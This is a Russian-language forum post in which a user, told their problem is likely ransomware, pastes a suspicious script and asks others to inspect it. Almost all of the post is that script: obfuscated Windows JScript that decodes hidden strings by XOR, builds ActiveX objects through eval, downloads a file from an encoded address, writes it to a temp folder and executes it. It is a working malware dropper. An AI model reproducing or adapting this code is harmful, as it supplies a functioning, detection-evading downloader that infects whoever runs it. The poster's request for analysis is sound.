Сообщение от Rise
|
Huan, скорее всего это шифровальщик типа такого
|
Спасибо за ответ. Но по ссылке у меня аваст ругается на текстовый файл даже, а на этот скрипт - нет и внутри ну него ничего подозрительного, он коротенький, мож глянете? Извините за назойливость.
function WtjUwAu(yAB, YtxOanK) {
var ovBT = "c";
/// e3d6bd0381d5d5d73f3961fcd702adbd
var nGwvUpjt = "A" + "t";
var ECONGxh = ovBT + "ha";
var kXtMxZpl = new Array(ECONGxh + "r" + nGwvUpjt);
var EGLx = yAB[kXtMxZpl[0]](YtxOanK);
return EGLx;
}
function lBGKLO(NfC, ooV) {
var ZecuYrD = "c";
var aiUPW = "A";
var mdywbS = "o";
var yRyK = [ZecuYrD + "h" + "a"];
var drNB = ["r" + "C" + mdywbS + "d"];
var MFZgEqKV = ["e" + aiUPW + "t"];
var SPgOq = yRyK[0] + drNB[0] + MFZgEqKV[0];
var SOPTG = NfC[SPgOq](ooV);
return SOPTG;
}
function CkoevdP() {
var sywdzAun = [];
sywdzAun[0] = "f";
sywdzAun[1] = "rom";
sywdzAun[2] = "C";
sywdzAun[3] = "ha";
sywdzAun[4] = "rCode";
var rZIq = sywdzAun[0] + sywdzAun[1] + sywdzAun[2] + sywdzAun[3] + sywdzAun[4];
/// 048d8f0663f0895e35f6bca92750ebb7
return rZIq;
}
function kboELG(Bmj, AhYZHALF) {
var mHPh = Bmj % AhYZHALF;
return mHPh;
}
function EDLN(itUwdYjj, nyPiFH) {
var IXexnxpc = itUwdYjj ^ nyPiFH;
return IXexnxpc;
}
function hnSOz(JPvWZtwg) {
var jJkCh = JPvWZtwg / 3;
return jJkCh;
}
function ujfj() {
var GHhaUjs = "gth";
var RJZerPlp = "en";
var juVxSl = "l" + RJZerPlp + GHhaUjs;
return juVxSl;
}
function Its(pMFLQEV) {
var evjpXq = pMFLQEV + 1;
return evjpXq;
}
function PvCzGD(fjxUrdCl) {
var EYdETnXN = "string";
var GNjY = "WScript.Network";
/// cbb39566750c238d9ec717b93aa3e237
var vobFIW = WScript.CreateObject(GNjY);
var BiDF = typeof vobFIW.UserDomain;
if (BiDF == EYdETnXN) {
var MUBdRf = ujfj();
var VKVi = [''][0];
var IoovymY = 0;
var BZAkWDLe = 'lOLohlEtKsN';
var rISm = BZAkWDLe[MUBdRf];
var VdpX = 0;
var ZShHBwWX = "";
var jWPKWpUS = fjxUrdCl[MUBdRf];
}
while (VdpX < jWPKWpUS - 2) {
var FXZWFRiP = [0][0];
var meLkdDs = Its(VdpX);
var fOHcJQY = WtjUwAu(fjxUrdCl, meLkdDs);
var AVOuNH = WtjUwAu(fjxUrdCl, VdpX + 2);
var LHXq = WtjUwAu(fjxUrdCl, VdpX);
ZShHBwWX = LHXq + fOHcJQY + AVOuNH;
var gfmskX = WtjUwAu(fjxUrdCl, VdpX);
var nBVYGK = WtjUwAu(fjxUrdCl, VdpX + 1);
var DlCBnySL102 = (nBVYGK == 0);
if (gfmskX == FXZWFRiP) {
var sqpsbWp = VdpX + 1;
var uwyHO = VdpX + 2;
var EsWgnVM = WtjUwAu(fjxUrdCl, uwyHO);
ZShHBwWX = WtjUwAu(fjxUrdCl, sqpsbWp) + EsWgnVM;
}
var BvrYdkVF = WtjUwAu(fjxUrdCl, VdpX);
var DlCBnySL101 = (BvrYdkVF == 0);
if (DlCBnySL101 && DlCBnySL102) {
var rOegxJ = VdpX + 2;
ZShHBwWX = WtjUwAu(fjxUrdCl, rOegxJ);
}
IoovymY = parseInt(ZShHBwWX);
var tPMoCL = hnSOz(VdpX);
var XcOanJGe = kboELG(tPMoCL, rISm);
var DlCBnySL = lBGKLO(BZAkWDLe, XcOanJGe);
IoovymY = EDLN(IoovymY, DlCBnySL);
var GQWezvxp = CkoevdP();
var MSTC = String;
VKVi = VKVi + MSTC[GQWezvxp](IoovymY);
/// 2d5352e9b030dcb4240f2afa6bd216d0
var WrQjawnX = 3;
VdpX = VdpX + WrQjawnX;
}
return VKVi;
/// b37cb511fe88bd9154caec59cd26cf9e
}
function gGI() {
var hEOIbc = PvCzGD("004059056031082067106007039022043028060057001070030048091116000");
return hEOIbc;
}
function taYc() {
var YavcDw = PvCzGD("059028047029001028049");
var UaNsk = eval(YavcDw);
return UaNsk;
}
function YhNq() {
var iPUWwpJl = PvCzGD("033028020034036094107044006063006056027028");
return iPUWwpJl;
}
/// b1807332aea2be5bd1d227556ef0b5f7
function YAqBwo(rtwjdld, kdkndmd) {}
function XXVdDap(str) {
str[PvCzGD("047035035028013")]();
}
function Evxk(rety, serq) {
var NIFrxo = PvCzGD("015034040065013020032084100016110") + rety;
serq[PvCzGD("030058034")](NIFrxo, 0);
}
function PEd() {
var ANrAi = PvCzGD("024038058010048035039030046");
var dELYE = eval("Ac" + ANrAi + "ct");
return dELYE;
/// 8d8900cff3fbf23aa17c0b2058a4fb70
}
function GuMOid() {
var rPpzEk = PEd();
var bAemYS = PvCzGD("059028047029001028049090024027043000035");
var EjsSCSFT = new rPpzEk(bAemYS);
var Ooxsa = taYc();
var XzMMPm = YhNq();
var ZHtAM = Ooxsa[PvCzGD("063044062006024024003001039031000013034041")];
if (ZHtAM[PvCzGD("000042034008028004")] > 2) {
var yEBdOUV = gGI();
var MBkgp = new rPpzEk(XzMMPm);
var DIyZGX = PvCzGD("045011003043042066022000057022047001");
var tMXKMFe = PvCzGD("043010024");
MBkgp[PvCzGD("003063041001")](tMXKMFe, yEBdOUV, 0);
var sJLWl = PvCzGD("031042034011");
MBkgp[sJLWl]();
var LfKbSlm = PvCzGD("063044062006024024044026044093008005035041060017031049017038060044006042047027");
var BLBkkAQi = new rPpzEk(LfKbSlm);
}
if (MBkgp[PvCzGD("063059045027029031")] == 200) {
var jVkUH = new rPpzEk(DIyZGX);
var YUiIGfTu = BLBkkAQi[PvCzGD("043042056059013001053058042030043")]();
var YfSQqePS = '\\';
var rcaSSiec = YfSQqePS + YUiIGfTu;
var preBLBkkAQi = PvCzGD("043042056060024009038029042031008003035040010026");
var GoDmtxHk = BLBkkAQi[preBLBkkAQi](2) + rcaSSiec;
jVkUH[PvCzGD("035063041001")]();
var Ncmdhc = PvCzGD("056054060010");
jVkUH[Ncmdhc] = 1;
var YtYYlRhq = PvCzGD("062042063031007002054017009028042021");
var lFQXLMEa = MBkgp[YtYYlRhq];
var RtMzE = PvCzGD("059061037027013");
jVkUH[RtMzE](lFQXLMEa);
var mGvq = PvCzGD("060032063006028005042026");
jVkUH[mGvq] = 0;
var ymMRlLd = PvCzGD("063046058010060003003029039022");
jVkUH[ymMRlLd](GoDmtxHk);
XXVdDap(jVkUH);
Evxk(GoDmtxHk, EjsSCSFT);
}
/// c839745f2e160c4ba7f34fd438dd7356
YAqBwo(BLBkkAQi, ZHtAM);
}
GuMOid();